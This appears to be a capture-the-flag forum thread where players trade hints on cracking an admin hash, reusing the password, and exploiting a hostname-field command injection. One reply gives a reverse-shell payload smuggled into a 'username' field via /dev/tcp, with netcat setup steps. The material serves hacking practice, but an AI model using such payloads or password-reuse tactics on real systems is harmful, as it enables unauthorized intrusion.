[MoFahdel]

i finding trouble with my hashcat it's been running for 1 hour now on the first one

You need only crack ....9kVO8dm hash
Imagine it as :There are 2 admin: virtualization and bare metal. You have baremetal admin password now. try use it somewhere else

the baremetal admin as in the service admin?

[flagbot]

hello again! thx for the hostname injection, but i cant quite figure out the payload. its either cant spawn bcus something something pseudo terminal, or ambiguous redirect

Try this payload:
hostname=127.0.0.1&username=app;`(sh)0>/dev/tcp/IP/PORT`

on your terminal type exec >&0

edit:
make sure nc is fired up

cool thx! but why are there quotes? and wth is (sh)0?

---

and why exactly localhost as name/hostname?
exec >&0 on victim or on our side?

(3rd edit)
and also why username app?

[michaelhunt]

fdfdfdfdfsfdsfdfdfdfdfdfdfdfdv

[asjflajsfflkjslajf]

What wordlist did you use to crack the password?